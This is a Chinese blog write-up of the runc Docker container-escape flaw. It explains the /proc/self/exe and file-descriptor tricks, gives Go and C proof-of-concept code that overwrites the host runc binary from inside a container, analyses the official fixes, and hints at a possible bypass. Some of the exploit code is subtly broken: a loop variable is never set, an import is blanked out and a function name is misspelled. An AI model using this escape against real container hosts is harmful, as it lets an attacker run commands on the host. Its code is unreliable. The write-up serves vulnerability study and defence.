前言
在翻漏洞的偶然看见这个洞,发现很有意思,docker 容器逃逸,出现问题在于docker 里面的runc。runc是docker中最为核心的部分,容器的创建,运行,销毁等等操作最终都将通过调用runc完成。不仅仅是docker会受影响,依赖于runc的应用都会受到影响,该漏洞将会Rewrite runc,执行任意命令,下面我们来看一看它的实现方式。
proc && execve
/proc
是一个伪文件系统,这个伪文件系统让你可以和内核内部数据结构进行交互,与真正的文件系统不同的是它是存在于内存中而不是真正的硬盘上,linux 下有一个说法一切皆文件,所有在linux上运行的程序都在/proc
下有一个自己的目录,目录名字为程序的Pid号,目录里面存储着许多关于进程的信息,列如进程状态status,进程启动时的相关命令cmdline,进程的内存映像maps,进程包含的所有相关的文件描述符fd文件夹等等
其中 /proc/pid/fd
中包含着进程打开的所有文件的文件描述符,这些文件描述符看起来像链接文件一样,通过ls -l 你可以看见这些文件的具体位置,但是它们并不是简单连接文件,你可以通过这些文件描述符再打开这些文件,你可以重新获得一个新的文件描述符,即使这些文件在你所在的位置是不能访问,你依然可以打开。
还一个 /proc/pid/exe
文件,这个文件指向进程本身的可执行文件。
除了这些进程pid文件目录内的文件,还有一个比较特别的/proc/self
,这文件夹始终指向的是访问这个目录/proc/pid
文件夹,所以除了通过自己的pid号访问进程信息,还可以通过/proc/self
来访问,不需要知道自己的pid号。
execve
是一个内核系统调用函数,execve()
和fork()
,clone()
不一样,它不需要启动新的进程,它直接替换当前执行的文件为新的文件,为新的可执行文件分配新初始化的堆栈和数据段。替换可执行文件,意味着释放调用execve()
文件的IO,但这个过程默认是不释放/proc/pid/fd
中的打开的文件描述符,如果你在打开/proc/pid/fd中文件的时候,特别的传参O_CLOEXEC
或者 FD_CLOEXEC
,那么在execve
替换进程的时候,将关闭所有设置了这个选项的fd
,阻止子进程继承父进程打开的fd
。
动态链接
在可执行文件运行的时候,由操作系统的装载程序加载库,比如在linux 下由ld.so,ld-linux.so
查找并且装载程序所依赖的动态链接对象。这里有一个需要的注意的 1
/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /bin/ls -al /proc/self/exe
/proc/self/exe
并不是指向你所想象的那样为 /bin/ls
, 而是/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
还有一个熟悉的LD_PRELOAD的环境变量,用于指定的动态库加载,优先级最高,可以用他做很多事,这里也可以用到。
漏洞成因
尽管docker的本意并不是来做沙盒的,容器包含着虚拟的环境,在虚拟的文件系统里面依然是root 权限,但也是算比较低的权限,也默认了容器的安全性。看似容器独立存在,不可避免的需要去思考这个过程是不是存在问题。
进入正题,runc 完成容器的初始化 ,运行 ,执行命令。我们首先来看看它是如何执行命令的。我们首先启动一个基础的Ubuntu容器
接着在容器里面运行下面监听进程启动程序 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33package main
import (
"fmt"
"io/ioutil"
_ "os"
"strconv"
"strings"
)
func main() {
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") || strings.Contains(fstring,"ls") {
fmt.Println(fstring)
fmt.Println("[+] Found the PID:", f.Name())
_, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
}
上面过程我们通过监听 runc 和 ls 的执行,所以我们只需要执行 1
docker exec -it f3c ls
docker-runc init
,后执行了ls
,可以看见过程中pid号没有变,可以想到runc 在启动新的进程的时候用的是syscall.Exec()
即execve(),
在容器里面我们并不能运行docker-runc 因为namespace不一样,容器类的一切都被限定单独的namespace里面,但是你可以看到我是可以访问/proc
下所有进程的信息,通过遍历/proc,我们可以得到runc 进程的pid号,并且我可以访问这个pid号下所有关于runc 的信息。同样包括runc的执行文件 ->/proc/pid[runc]/exe,
这意味着我们是不是可以去尝试修改这个可执行文件,答案是不行,因为runc正在运行,如果你试着open 并且写东西进去,你会得到invalid arguments。
如果想要写东西覆盖runc 必须等到runc运行结束。什么时候结束? 当execve()
运行新可执行文件。但是当runc 结束运行的时候,/proc/pid/exe将会被替换成新二进制可执行文件。所以这个时候去获得一个runc的fd文件描述符,并且保留下来,即 open()
,/proc/self/exe
,并返回对应的fd, 这里打开的时候只需要O_RDONLY,这个时候你可以去看/proc/self/fd/
下多了一个runc本身的fd,接着前面说到过,通过execve
启动的新可执行文件是可以保留父进程打开的fd。
当execve()
执行,会首先释放runc的IO ,这个时候就可以去写runc,通过前面打开 /proc/self/exe
拿到的fd,找到/proc/pid/fd/
下对应的fd,这个时候可以用open(os.O_RDWR)
打开runc,并且写入payload重置runc。
接着需要去思考如何在runc init 的时候去在进程里面进行open操作, 三种方法,分两种情况讨论:
- 在已经存在容器可以执行文件,通过docker exec 触发
- 构造恶意的容器,直接通过docker run 触发
第一种情况:
已经在容器里面了,你可以通过前面的方法等待docker-runc init 的执行,open()
runc 获取fd, 再等待runc IO被释放。其中你可以通过覆盖docker exec 执行的二进制文件为 #!/proc/self/exe
,到达覆盖之后执行的效果。 比如 /bin/sh 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63package main
import (
"fmt"
"io/ioutil"
_ "os"
"strconv"
"strings"
)
var payload = "#!/bin/bash \n echo hello > /tmp/funny"
func main() {
fd, err := os.Create("/bin/bash")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
//fmt.Println("[+] Waiting docker exec")
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") || strings.Contains(fstring,"ls") {
fmt.Println(fstring)
fmt.Println("[+] Found the PID:", f.Name())
_, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
var handleFd = -1
for handleFd == -1 {
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
writeHandle.Write([]byte(payload))
return
}
}
}
循环等待 runc init
的 PID --> open("/proc/pid/exe",O_RDONLY)
-->循环等待execve()
释放 runc的IO并覆盖runc二进制文件 --> execve()
执行被覆盖 runc。
执行权限任意命令的权限为运行docker exec的权限。
第二种情况: 构造恶意的镜像,在运行容器的时候触发。这个时候你需要考虑,如何hook runc的运行过程,首先想到就是动态链接,可以设置环境变量LD_PRELOAD来给runc 添加一个动态库。这个动态库需要包含一个全局的构造函数,在被加载时候首先执行,即可以通过 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__attribute__ ((constructor)) void foo(void)
{
int fd = open("/proc/self/exe", O_RDONLY);
if (fd == -1 ) {
printf("HAX: can't open /proc/self/exe\n");
return;
}
printf("HAX: fd is %d\n", fd);
char *argv2[3];
argv2[0] = strdup("/rewrite");
char buf[128];
snprintf(buf, 128, "/proc/self/fd/%d", fd);
argv2[1] = buf;
argv2[2] = 0;
const char *ld_preload = "LD_PRELOAD";
const char *empty = "";
setevn(ld_preload,empty,1)
execve("/rewrite", argv2, NULL);
}
可以看到有一个比较特殊的libseccomp,先去分析一下它的依赖,
直接apt-get source libseccomp
,seccomp 是linux 下一种安全模式,针对限制程序使用系统调用,PWN选手应该对他属性,很多用来做沙盒的环境,可以简单看一下的它的使用 列一些比较常见调用它的api seccomp_init
初始化过滤状态, seccomp_rule_add
增加过滤规则 seccomp_load
应用已经配置好的过滤内容
回到主题,前面说到我们这里可以去替换 libseccomp.so
,在里面里面同样可以加一个全局的构造函数,在哪加呢? 可以去提供上面接口定义的位置src/api.c
结尾直接加 。
前面说这种方法有一定的局限的情况,我尝试在低版本的docker-runc 里面是没有加载libseccomp.so
,那么这种方法就不适用了,当然你也可以选择替换其他的动态库,还有一点q3k 的poc 里用来重写runc的可执行文件有一点小问题,我直接用它的poc时10次成功一次,发现问题出在写runc上,一直报错 Text file buzy , 怎么runc还会被占用呢,难道runc 在容器里又一次运行了?,经过我测试,在使用docker exec 执行命令的时候,容器里面只有 docker-runc init 一次,那么问题肯定出在容器外,由于我不想去看runc 实现过程,我把前面的简单的监测进程的程序再一次放到了容器外,于此同时再用docker exec 执行一次命令,如图下:
果然在容器外面 runc 还会被再次运行,runc state 用来输出docker exec 执行结果,同样也有runc kill 和 runc delete 在后面的运行。所以这个写runc的过程可以在一个循环队列里面。稍微的改了改q3k的rewrite
1 |
|
可以看到只要重写了runc ,docker 会自动帮你再次运行runc,下面看一看官方,对此的修复方式。
修复
官方前前后后修复了很多次,最终可以分为三种方法:
- memfd
- tmpfile
- bind-mount
其中tmpfile 使用文件的方法又可以分为,open(2)
的 O_TMPFILE
和 mkostemp(3)
.
接下来看看修复流程 ->
根据官方的commit runc/libcontainer/nsenter 多了一个cloned_binary.c, 并且runc/libcontainer/nsenter/nsexec.c 中nsexec()
多了一行判断 1
2if (ensure_cloned_binary() < 0)
bail("could not ensure we are a cloned binary");1
2
3
4
5
6
7
8
9
10
11
12
13
14
15package nsenter
/*
#cgo CFLAGS: -Wall
extern void nsexec();
void __attribute__((constructor)) init(void) {
nsexec();
}
*/
import "C"cgo
包,根据cgo
的语法,如果import "C"
紧跟随在一段注释后面 ,那么注释里面的东西将会被被当做c 执行,即每次只要我们 import nsenter
包,就会执行nsexec()
, nsenter 只在runc/init.go 下被引用, 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29package main
import (
"os"
"runtime"
"github.com/opencontainers/runc/libcontainer"
_ "github.com/opencontainers/runc/libcontainer/nsenter"
"github.com/urfave/cli"
)
func init() {
if len(os.Args) > 1 && os.Args[1] == "init" {
runtime.GOMAXPROCS(1)
runtime.LockOSThread()
}
}
var initCommand = cli.Command{
Name: "init",
Usage: `initialize the namespaces and launch the process (do not call it outside of runc)`,
Action: func(context *cli.Context) error {
factory, _ := libcontainer.New("")
if err := factory.StartInitialization(); err != nil {
os.Exit(1)
}
panic("libcontainer: container init failed to exec")
},
}ensure_cloned_binary()
,它用来判断/proc/self/exe
是不是经过处理过,为了防止runc 被重写,官方最开始用的是memfd_create(2)
,可以用它在内存中创建一个匿名文件,并返回一个文件描述符fd,同时你可以传递一个 MFD_ALLOW_SEALING flag,它可以将允许文件密封操作,即将无法修改文件所在的,先将/proc/self/exe
写入 这个文件内,再用 fcntl(2)
F_ADD_SEALS将这段文件内存密封起来。这样一来,你再用open(2),打开/proc/self/exe
去写,将不会被允许。
同时还有一个open(2)
O_TMPFILE 方法,将/proc/self/exe
写入 临时文件,这种方法受限于linux 内核版本问题,需要 >=3.11,而且也受限于 glibc。官方又扩展了另一种mkostemp(3)
的方法用来写临时文件,没什么特别的。
上面三种方法都显得比较浪费,
memfd_create(2) 的使用直接往内存写了一个runc 大概 10M,所以官方又提供了一种看起来是最简单的方法,用 bind-mount
,直接使用 绑定挂载/proc/self/exe
到一个只能读的节点上,打开这个节点,再把这个挂载节点去掉。避免了对/proc/self/exe
拷贝过程,但是和tmpfile 一样,你需要先创建一个临时文件,用来挂载/proc/self/exe
。
整个逃逸过程精髓在于对 /proc/pid
下结构的理解,/proc/self/exe
指向进程的二进制文件本身,/proc/self/fd
可以继承父进程打开的文件描述符。namespace
限制了很多东西,还有capabilities
,限制了想通过/proc/exe/cwd
拿到runc的真实的路径。runc其实就是管理libcontainer
的客户端。问题还是在libcontainer
上,在官方最后一次commit中,在判断是否经过处理的/proc/self/exe,会有一步判断是否设置了环境变量 **a _LIBCONTAINER_CLONED_BINARY** 标记处理过,如果我先设置这个环境变量会怎么样,有兴趣的朋友去试试。